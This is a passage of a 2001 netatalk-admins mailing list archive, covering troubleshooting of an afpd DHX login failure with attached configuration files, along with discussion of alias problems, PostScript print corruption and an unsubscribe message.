	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 25 Aug 2001 15:31:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA18048
	for netatalk.administrators-members@umich.edu; Sat, 25 Aug 2001 15:31:30 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA18040
	for <netatalk-admins@umich.edu>; Sat, 25 Aug 2001 15:31:29 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id MAA09683 for <netatalk-admins@umich.edu>; Sat, 25 Aug 2001 12:31:46 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Sat, 25 Aug 2001 12:31:07 -0700
Subject: Re: Sorry, the password you entered is incorrect.  Please
	reenterit.
From: xris <xris@forevermore.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B7AD4B0B.9C17%xris@forevermore.net>
In-Reply-To: <000a01c12d12$e1a235d0$c8965ecb@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> try /var/log/messages
> #tail /var/log/messages -f

Yeah, got it.  Still confused:

Aug 25 12:24:16 agni afpd[530]: ASIP started on 127.0.0.1:548(1) (1.5pre6)
Aug 25 12:24:16 agni afpd[530]: uam: uams_dhx.so loaded
Aug 25 12:24:16 agni afpd[530]: uam: "DHCAST128" available
Aug 25 12:24:38 agni afpd[532]: ASIP session:548(1) from 10.0.0.2:49181(0)
Aug 25 12:24:38 agni afpd[530]: server_child[1] 532 done
Aug 25 12:24:43 agni afpd[533]: ASIP session:548(1) from 10.0.0.2:49182(0)
Aug 25 12:24:43 agni afpd[533]: dhx login: xris
Aug 25 12:24:43 agni afpd[533]: 0.17KB read, 0.13KB written
Aug 25 12:24:43 agni afpd[530]: server_child[1] 533 done

Same thing happens with cleartxt - reads like .07KB, writes .07KB, and then
says my mac disconnected - but I'd rather force dhx.

> you should see a lot of afpd messages appearing. alternatively, start afpd
> **without** forking (ie. not as a daemon), and you  should see debug
> messages appear on your terminal.

That's how I always start it when testing.  No debug messages.

> in netatalk.conf, set:
> ATALK_BGROUND=no

Yeah, it is/was.

> and fire up atalkd and afpd.

No atalkd, just afpd.

> A couple of things to check: which uams are you using ie. dhx, pam (which
> uses dhx), rand, cleartxt? you can define this both in afpd.conf and
> netatalk.conf, but they won't work if you haven't compiled/made with these
> options (ie. --with-pam --with-shadow etc etc...).

Yeah, I've gone through all of this multiple times.  Pretty sure it's a
config issue, but am completely lost now.


From netatalk.administrators-errors@umich.edu  Sun Aug 26 10:53:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28844
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 26 Aug 2001 10:53:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA01983
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 26 Aug 2001 10:53:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA01976
	for netatalk.administrators-members@umich.edu; Sun, 26 Aug 2001 10:53:51 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA01964
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 10:53:50 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id LAA04699
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 11:24:47 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <p05100303b7ad745b29c3@[172.16.22.38]>
Subject: Re: That old alias thing again
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sun, 26 Aug 2001 10:53:40 -0400
Message-ID: <1eyql6a.zgbr0o1t3p9v8M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 215 days)

> A probable solution would involve another set of netatalk owned files,
> more configuration, another server daemon, a lot of work and in the
> beginning surely more user frustration compared to the few who actually
> complain about alias problems now. I don't know anything about the
> development resources but can imagine that arguments are there ...

So for those of us in proffessional prepress netatalk remains just a
curiosity and not a contender for a file server.

From netatalk.administrators-errors@umich.edu  Sun Aug 26 11:40:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00228
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 26 Aug 2001 11:40:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA27442
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 26 Aug 2001 11:40:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA27435
	for netatalk.administrators-members@umich.edu; Sun, 26 Aug 2001 11:40:57 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA27417
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 11:40:56 -0400 (EDT)
Received: from [172.16.22.38] ([172.16.22.38] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 5580209 for netatalk-admins%umich.edu@mailhost.i.sj.com; Sun, 26 Aug 2001 17:40:54 +0200
Mime-Version: 1.0
X-Sender: rose@mail.i.sj.com
Message-Id: <p05100308b7aec7b0826e@[172.16.22.38]>
Date: Sun, 26 Aug 2001 17:37:47 +0200
To: netatalk-admins@umich.edu
From: Axel Rose <rose@sj.com>
Subject: corrupted PostScript files
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA00228

Hello all,

just wondering whether it's a unique problem here.

When printing through papd/lpd to a PostScript file I observe
corruption.

To be more exact - the files prematurely end within a TrueType font
definition. This is reproducible. The workaround is to use "Page Setup
..." in the Mac application and change the PostScript settings. It
doesn't matter how to change them. It's only important to confirm the
dialog.

I suppose a problem in PAP queries because there is never a problem to
print directly to a PAP printer. This happens from many Mac clients.

Any idea?


Best, Axel.

-- 
----------------------------------------------------------------------
Axel Rose, Springer & Jacoby Digital GmbH & Co. KG, mailto:rose@sj.com
  pub PGP key 1024/A21CB825 E0E4 BC69 E001 96E9  2EFD 86CA 9CA1 AAC5
  "... denn alles, was entsteht, ist wert, daß es zugrunde geht ..."

From netatalk.administrators-errors@umich.edu  Sun Aug 26 11:41:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00248
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 26 Aug 2001 11:41:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA07922
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 26 Aug 2001 11:40:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA07913
	for netatalk.administrators-members@umich.edu; Sun, 26 Aug 2001 11:40:45 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA07906
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 11:40:44 -0400 (EDT)
Received: from [172.16.22.38] ([172.16.22.38] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 5580207 for netatalk-admins%umich.edu@mailhost.i.sj.com; Sun, 26 Aug 2001 17:40:56 +0200
Mime-Version: 1.0
X-Sender: rose@mail.i.sj.com
Message-Id: <p05100305b7aec13dfde2@[172.16.22.38]>
In-Reply-To: <1eyql6a.zgbr0o1t3p9v8M@cx448422-b.wwck1.ri.home.com>
References: <1eyql6a.zgbr0o1t3p9v8M@cx448422-b.wwck1.ri.home.com>
Date: Sun, 26 Aug 2001 17:40:29 +0200
To: netatalk-admins@umich.edu
From: Axel Rose <rose@sj.com>
Subject: Re: That old alias thing again
Content-Type: text/plain; charset="us-ascii"

Hello Lee,

>So for those of us in proffessional prepress netatalk remains just a
>curiosity and not a contender for a file server.

Agreed.
The alias problem is much more important than the OPI functionality
promised for the future. It's a nightmare to watch for corrupted files
and to know that after a restart due to a power failure users start
to complain about all sorts of problems with their documents.

In prepress departments it's quite normal to directly access files on
the server, not copying them to a local hard disk and back, which would
make no problems with aliases.

The next trouble is that you won't see changes in the Finder when
you move files into a shared volume from Unix. Users have to reopen
a folder to see that change. Imagine an automatic restoration from
a tape library. This works under Unix, uses tar and moves the file
into a destination folder.
(call it "that old refresh thing again")

I operate a distiller server papd->lpd->ghostscript->pdf file in a
netatalk shared volume. All the time you got to reopen the destination
volume/folder to find your distilled file.

If on the other hand you just store e.g. PDF/Word/jpeg/html files, share
with PC clients, netatalk is a great tool in my eyes. So please don't
get me wrong. If netatalk evolves commercial providers are enforced
to give better value than they do in the moment under certain aspects.


Best regards,
Axel.

-- 
----------------------------------------------------------------------
Axel Rose, Springer & Jacoby Digital GmbH & Co. KG, mailto:rose@sj.com
  pub PGP key 1024/A21CB825 E0E4 BC69 E001 96E9  2EFD 86CA 9CA1 AAC5
     "If this be error, and upon me proved, I never writ."

From netatalk.administrators-errors@umich.edu  Sun Aug 26 13:31:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03599
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 26 Aug 2001 13:31:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA10672
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 26 Aug 2001 13:31:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10658
	for netatalk.administrators-members@umich.edu; Sun, 26 Aug 2001 13:31:20 -0400 (EDT)
Received: from smtp7.xs4all.nl (smtp7.xs4all.nl [194.109.127.133])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA10624
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 13:31:19 -0400 (EDT)
Received: from asterix.xs4all.nl (asterix.xs4all.nl [194.109.6.11])
	by smtp7.xs4all.nl (8.9.3/8.9.3) with ESMTP id TAA07527
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 19:31:18 +0200 (CEST)
Received: from gildewg.xs4all.nl (uucp@localhost)
	by asterix.xs4all.nl (8.9.1/8.9.1) with UUCP id TAA06453
	for netatalk-admins@umich.edu; Sun, 26 Aug 2001 19:31:18 +0200 (CEST)
Received: (from oorschot@localhost)
	by gildewg.xs4all.nl (8.10.2/8.10.2) id f7QHG7t00618;
	Sun, 26 Aug 2001 19:16:07 +0200
X-Authentication-Warning: gildewg.xs4all.nl: oorschot set sender to eric@gildewg.xs4all.nl using -f
Sender: oorschot@gildewg.xs4all.nl
To: netatalk-admins@umich.edu
Subject: unsubscribe
References: <F216XKCnzNwRC6HixqD0000aba3@hotmail.com>
From: eric@gildewg.xs4all.nl (Eric van Oorschot (mail))
Date: 26 Aug 2001 19:16:07 +0200
In-Reply-To: "pyx pyx"'s message of "Fri, 24 Aug 2001 08:56:30"
Message-ID: <87bsl2lp2g.fsf@gildewg.xs4all.nl>
Lines: 0
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii


From netatalk.administrators-errors@umich.edu  Sun Aug 26 21:18:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA16728
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 26 Aug 2001 21:18:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA08174
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 26 Aug 2001 21:18:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA08160
	for netatalk.administrators-members@umich.edu; Sun, 26 Aug 2001 21:18:11 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA08110
	for <netatalk-admins@umich.edu>; Sun, 26 Aug 2001 21:18:07 -0400 (EDT)
Received: (qmail 3837 invoked from network); 27 Aug 2001 01:17:42 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 27 Aug 2001 01:17:42 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: Sorry, the password you entered is incorrect.  Pleasereenterit.
Date: Mon, 27 Aug 2001 11:17:47 +1000
Message-ID: <000e01c12e96$15dc8470$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_000F_01C12EE9.E7889470"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
In-Reply-To: <B7AD4B0B.9C17%xris@forevermore.net>

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01C12EE9.E7889470
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit

what you have below looks fine - client reads / writes data, connection is
closed. doesn't have a disconnection error message in the log though...

to debug, i'd try:

delete your source tree for netatalk:
#rm -rf /usr/src/netatalk-1.5pre6

extract it again from the tarball, and try the following configure:

# ./configure --prefix=/usr/local/netatalk --sysconfdir=/etc/netatalk \
--with-config-dir=/etc/netatalk --with-pam --with-shadow \
--with-ssl-dir=/usr/local/openssl --enable-timelord \
--with-flock-locks --with-tcp-wrappers --enable-lastdid

Once it's configured happily, make, make install. Try plugging in the
following config files in /etc/netatalk/ - if they work, they'll at least
give you a starting point, from where you can tweak them to make them work
for you.

The above config is what I needed to get it working correctly with file
locking for quark xpress users, using a 2.4 kernel. it behaves differently
with a 2.2 kernel.

Note that I don't use a netatalk.conf file - i found it worked better
without it (go figure).

Cheers,

Chris

-----Original Message-----
From: xris [mailto:xris@forevermore.net]
Sent: Sunday, 26 August 2001 05:31
To: netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect.
Pleasereenterit.


> try /var/log/messages
> #tail /var/log/messages -f

Yeah, got it.  Still confused:

Aug 25 12:24:16 agni afpd[530]: ASIP started on 127.0.0.1:548(1) (1.5pre6)
Aug 25 12:24:16 agni afpd[530]: uam: uams_dhx.so loaded
Aug 25 12:24:16 agni afpd[530]: uam: "DHCAST128" available
Aug 25 12:24:38 agni afpd[532]: ASIP session:548(1) from 10.0.0.2:49181(0)
Aug 25 12:24:38 agni afpd[530]: server_child[1] 532 done
Aug 25 12:24:43 agni afpd[533]: ASIP session:548(1) from 10.0.0.2:49182(0)
Aug 25 12:24:43 agni afpd[533]: dhx login: xris
Aug 25 12:24:43 agni afpd[533]: 0.17KB read, 0.13KB written
Aug 25 12:24:43 agni afpd[530]: server_child[1] 533 done

Same thing happens with cleartxt - reads like .07KB, writes .07KB, and then
says my mac disconnected - but I'd rather force dhx.

> you should see a lot of afpd messages appearing. alternatively, start afpd
> **without** forking (ie. not as a daemon), and you  should see debug
> messages appear on your terminal.

That's how I always start it when testing.  No debug messages.

> in netatalk.conf, set:
> ATALK_BGROUND=no

Yeah, it is/was.

> and fire up atalkd and afpd.

No atalkd, just afpd.

> A couple of things to check: which uams are you using ie. dhx, pam (which
> uses dhx), rand, cleartxt? you can define this both in afpd.conf and
> netatalk.conf, but they won't work if you haven't compiled/made with these
> options (ie. --with-pam --with-shadow etc etc...).

Yeah, I've gone through all of this multiple times.  Pretty sure it's a
config issue, but am completely lost now.


------=_NextPart_000_000F_01C12EE9.E7889470
Content-Type: application/octet-stream;
	name="afpd.conf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="afpd.conf"

#=0A=
# CONFIGURATION FOR AFPD=0A=
#=0A=
# Each line defines a virtual server that should be available.=0A=
# Empty lines and lines beginning with `#' are ignored.=0A=
# Options in this file will override both compiled-in defaults=0A=
# and command line options.=0A=
#=0A=
# Format:=0A=
#  - [options]	              to specify options for the default server=0A=
#  "Server name" [options]   to specify an additional server=0A=
#=0A=
# The following options are available:=0A=
#   Transport Protocols:=0A=
#     -[no]tcp       Make AFP-over-TCP [not] available=0A=
#     -[no]ddp       Make AFP over AppleTalk [not] available. if you=0A=
#                    have -proxy specified, specify -uamlist "" to =0A=
#                    prevent ddp connections from working.=0A=
#=0A=
#     -transall      Make both available (default)=0A=
#=0A=
#   Transport Options:=0A=
#     -ipaddr <w.x.y.z>   Specifies the IP address the server should =
respond=0A=
#                         to (default is the first IP address of the =
system)=0A=
#                         This option also allows one machine to =
advertise=0A=
#                         TCP/IP for another machine.=0A=
#     -server_quantum <number> =0A=
#                         Specifies the DSI server quantum. The minimum=0A=
#                         value is 1MB. The max value is 0xFFFFFFFF. If =
you =0A=
#                         specify a value that is out of range, you'll =
get =0A=
#                         the default value (currently the minimum).=0A=
#     -admingroup <groupname>=0A=
#                         Specifies the group of administrators who =
should all=0A=
#                         be seen as the superuser when they log in.  =
Default=0A=
#                         is disabled.=0A=
#     -ddpaddr x.y        Specifies the DDP address of the server. the =0A=
#			  default is to auto-assign an address=0A=
#                         (0.0). this is only useful if you're running=0A=
#			  on a multihomed host.=0A=
#     -port <number>      Specifies the TCP port the server should =
respond=0A=
#                         to (default is 548)=0A=
#     -fqdn <name:port>   specify a fully-qualified domain name (+=0A=
#                         optional port). this gets discarded if the=0A=
#			  server can't resolve it. this is not honored=0A=
#                         by appleshare clients <=3D 3.8.3 (default: =
none)=0A=
#     -proxy              Run an AppleTalk proxy server for specified =
AFP/TCP=0A=
#                         server (if address/port aren't given, then=0A=
#			  first IP address of the system/548 will be used).=0A=
#                         if you don't want the proxy server to act as=0A=
#                         a ddp server as well, set -uamlist to an=0A=
#			  empty string.=0A=
#=0A=
#=0A=
#   Authentication Methods:=0A=
#     -uampath <path>  Use this path to look for User Authentication =
Modules.=0A=
#		       (default: /etc/netatalk/uams)=0A=
#     -uamlist <a,b,c> Comma-separated list of UAMs. (default:=0A=
#		       uams_guest.so,uams_clrtxt.so,uams_dhx.so) =0A=
#=0A=
#		       some commonly available UAMs:=0A=
#                      uams_guest.so: Allow guest logins=0A=
#=0A=
#		       uams_clrtxt.so: (uams_pam.so or uams_passwd.so)=0A=
#				      Allow logins with passwords=0A=
#				      transmitted in the clear. =0A=
#=0A=
#		       uams_randnum.so: Allow Random Number and Two-Way=0A=
#				       Random Number exchange for=0A=
#				       authentication.=0A=
#=0A=
#		       uams_dhx.so: (uams_dhx_pam.so or uams_dhx_passwd.so)=0A=
#		                    Allow Diffie-Hellman eXchange=0A=
#				    (DHX) for authentication.=0A=
#=0A=
#   Password Options:=0A=
#     -[no]savepassword   [Don't] Allow clients to save password locally=0A=
#     -passwdfile <path>  Use this path to store Randnum=0A=
#			  passwords. (default: ~/.passwd. the only other=0A=
#                         userful value is /etc/netatalk/afppasswd.)=0A=
#     -passwdminlen <#>   minimum password length. may be ignored.=0A=
#     -[no]setpassword    [Don't] Allow clients to change their =
passwords.=0A=
#     -loginmaxfail <#>   maximum number of failed logins. this may be=0A=
#			  ignored if the uam can't handle it.=0A=
#=0A=
#   AppleVolumes files:=0A=
#     -defaultvol <path>  Specifies path to AppleVolumes.default file=0A=
#                         (default /etc/netatalk/AppleVolumes.default,=0A=
#                         same as -f on command line)=0A=
#     -systemvol <path>   Specifies path to AppleVolumes.system file=0A=
#                         (default /etc/netatalk/AppleVolumes.system,=0A=
#                         same as -s on command line)=0A=
#     -[no]uservolfirst   [Don't] read the user's ~/AppleVolumes or=0A=
#                         ~/.AppleVolumes before reading=0A=
#                         /etc/netatalk/AppleVolumes.default=0A=
#                         (same as -u on command line)=0A=
#     -[no]uservol        [Don't] Read the user's volume file=0A=
#=0A=
#     -nlspath <path>     Prepend this path to each code page filename=0A=
#                         in volume options (default: /etc/netatalk/nls).=0A=
#=0A=
#   Miscellaneous:=0A=
#     -guestname "user"   Specifies the user name for the guest login=0A=
#                         (default "nobody", same as -g on command line)=0A=
#     -loginmesg "Message"  Client will display "Message" upon logging in=0A=
#                         (no default, same as -l "Message" on =
commandline)=0A=
#     -nodebug            Switch off debugging=0A=
#     -tickleval <number> Specify the tickle timeout interval (in =
seconds)=0A=
#     -icon               Use the platform-specific icon.=0A=
#		=0A=
# Some examples:=0A=
#=0A=
#	The simplest case is to not have an afpd.conf.=0A=
#=0A=
#	4 servers w/ names server1-3 and one w/ the hostname. servers=0A=
#       1-3 get routed to different ports with server 3 being bound =0A=
#       specifically to address 192.168.1.3=0A=
#		-=0A=
#		server1 -port 12000=0A=
#		server2 -port 12001=0A=
#		server3 -port 12002 -ipaddr 192.168.1.3=0A=
#=0A=
#	a dedicated guest server, a user server, and a special=0A=
#	ddp-only server:=0A=
#		"Guest Volume" -uamlist uams_guest.so -loginmesg "Welcome guest!"=0A=
#		"User Volume" -uamlist uams_clrtxt.so -port 12000=0A=
#		"special" -notcp -defaultvol <path> -systemvol <path>=0A=
#=0A=
# default:=0A=
# - -transall -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so =
-nosavepassword=0A=
"faredge" -transall -uamlist uams_dhx.so=0A=

------=_NextPart_000_000F_01C12EE9.E7889470
Content-Type: application/octet-stream;
	name="netatalk.pamd"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="netatalk.pamd"

#%PAM-1.0=0A=
auth       required	/lib/security/pam_pwdb.so shadow=0A=
account    required	/lib/security/pam_pwdb.so =0A=
#password   required	/lib/security/pam_cracklib.so=0A=
#password   required	/lib/security/pam_pwdb.so shadow use_authtok=0A=
session    required	/lib/security/pam_pwdb.so =0A=

------=_NextPart_000_000F_01C12EE9.E7889470
Content-Type: application/octet-stream;
	name="AppleVolumes.default"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="AppleVolumes.default"

# This file looks empty when viewed with "vi".  In fact, there is one=0A=
# '~', so users with no AppleVolumes file in their home directory get=0A=
# their home directory by default.=0A=
# =0A=
# volume format:=0A=
# :DEFAULT: [all of the default options except volume name]=0A=
# path [name] [casefold:x] [codepage:y] [options:z,l,j] \=0A=
#   [allow:a,@b,c,d] [deny:a,@b,c,d] [dbpath:path] [password:p] \=0A=
#   [rwlist:a,@b,c,d] [rolist:a,@b,c,d] [limitsize:value in bytes]=0A=
#=0A=
#=0A=
# name:      volume name. it can't include the ':' character and is =
limited=0A=
#            to 27 characters in length.=0A=
#=0A=
# variable substitutions:=0A=
# you can use variables for both <path> and <name> now. here are the=0A=
# rules:=0A=
#     1) if you specify an unknown variable, it will not get converted. =0A=
#     2) if you specify a known variable, but that variable doesn't have=0A=
#        a value, it will get ignored.=0A=
#=0A=
# the variables:=0A=
# $c   -> client's ip or appletalk address=0A=
# $f   -> full name (whatever's in the gecos field)=0A=
# $g   -> group=0A=
# $h   -> hostname =0A=
# $s   -> server name (can be the hostname)=0A=
# $u   -> username (if guest, it's whatever user guest is running as)=0A=
# $v   -> volume name (either ADEID_NAME or basename of path)=0A=
# $z   -> zone (may not exist)=0A=
# $$   -> $=0A=
#=0A=
# casefold options [syntax: casefold:option]:=0A=
# tolower    -> lowercases names in both directions=0A=
# toupper    -> uppercases names in both directions=0A=
# xlatelower -> client sees lowercase, server sees uppercase=0A=
# xlateupper -> client sees uppercase, server sees lowercase=0A=
#=0A=
# allow/deny/rwlist/rolist format [syntax: allow:user1,@group]:=0A=
# user1,@group,user2  -> allows/denies access from listed users/groups=0A=
#                        rwlist/rolist control whether or not the=0A=
#			 volume is ro for those users.=0A=
#=0A=
# miscellaneous options [syntax: options:option1,option2]:=0A=
# prodos              -> make compatible with appleII clients.=0A=
# crlf                -> enable crlf translation for TEXT files.=0A=
# noadouble           -> don't create .AppleDouble unless a resource=0A=
#                        fork needs to be created.=0A=
# ro                  -> mount the volume as read-only.=0A=
# mswindows           -> enforce filename restrictions imposed by MS=0A=
#                        Windows. this will also invoke a default=0A=
#			 codepage (iso8859-1) if one isn't already =0A=
#			 specified.=0A=
# nohex		      -> don't do :hex translations for anything=0A=
#		         except dot files. specify usedots as well if=0A=
#			 you want that turned off. note: this option=0A=
#			 makes the / character illegal.=0A=
# usedots             -> don't do :hex translation for dot files. note: =
when =0A=
#                        this option gets set, certain file names=0A=
#			 become illegal. these are .Parent and=0A=
#			 anything that starts with .Apple. also, dot=0A=
#			 files created on the unix side are marked=0A=
#			 invisible. =0A=
# limitsize           -> limit disk size reporting to 2GB. this is=0A=
#                        here for older macintoshes using newer=0A=
#                        appleshare clients. yucko.=0A=
#=0A=
# codepage:filename   -> load filename from nls directory.=0A=
# dbpath:path         -> store the database stuff in the following path.=0A=
# password:password   -> set a volume password (8 characters max)=0A=
#=0A=
/public/loyalty "FarEdge" allow:@public=0A=

------=_NextPart_000_000F_01C12EE9.E7889470
Content-Type: application/octet-stream;
	name="atalkd.conf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="atalkd.conf"

#=0A=
# Format of lines in this file:=0A=
#=0A=
#    interface [ -seed ] [ -router | -dontroute ] =0A=
#       [ -phase { 1 | 2 } ] [ -addr net.node ]=0A=
#	[ -net first[-last] ] [ -zone ZoneName ] ...=0A=
#=0A=
# -seed only works if you have multi-interfaces.  Any missing arguments =
are=0A=
# automatically configured from the network.  Note: lines can't actually =
be=0A=
# split, tho it's a good idea.=0A=
#=0A=
# -router is like -seed but it allows single-interface routing. =
-dontroute =0A=
# disables routing for the specified interface.=0A=
#=0A=
# Some examples:=0A=
#=0A=
#	The simplest case is no atalkd.conf.  This works on most platforms=0A=
#	(notably not Solaris), since atalkd can discover the local interfaces=0A=
#	on the machine.=0A=
#=0A=
#	Very slightly more complicated:=0A=
#=0A=
#		le0=0A=
#	or=0A=
#		eth0=0A=
#=0A=
#	for Solaris/SunOS or Linux.=0A=
#=0A=
#	A much more complicated example:=0A=
#=0A=
#		le0 -phase 1=0A=
#		le1 -seed -phase 2 -addr 66.6 -net 66-67 -zone "No Parking"=0A=
#=0A=
#	This turns on transition routing between the le0 and le1=0A=
#	interfaces on a Sun.  It also causes atalkd to fail if other=0A=
#	routers disagree about it's configuration of le1.=0A=
#=0A=
eth0 -phase 2 -net 0-65534 -addr 65280.178=0A=

------=_NextPart_000_000F_01C12EE9.E7889470--


From netatalk.administrators-errors@umich.edu  Mon Aug 27 09:39:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA08139
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 09:39:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA25305
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 09:38:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA25283
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 09:38:45 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA25247
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 09:38:44 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f7RDcmD18463;
	Mon, 27 Aug 2001 09:38:48 -0400
Message-ID: <3B8A4D4D.1050700@univrel.pr.uconn.edu>
Date: Mon, 27 Aug 2001 09:38:21 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010628
X-Accept-Language: en-us
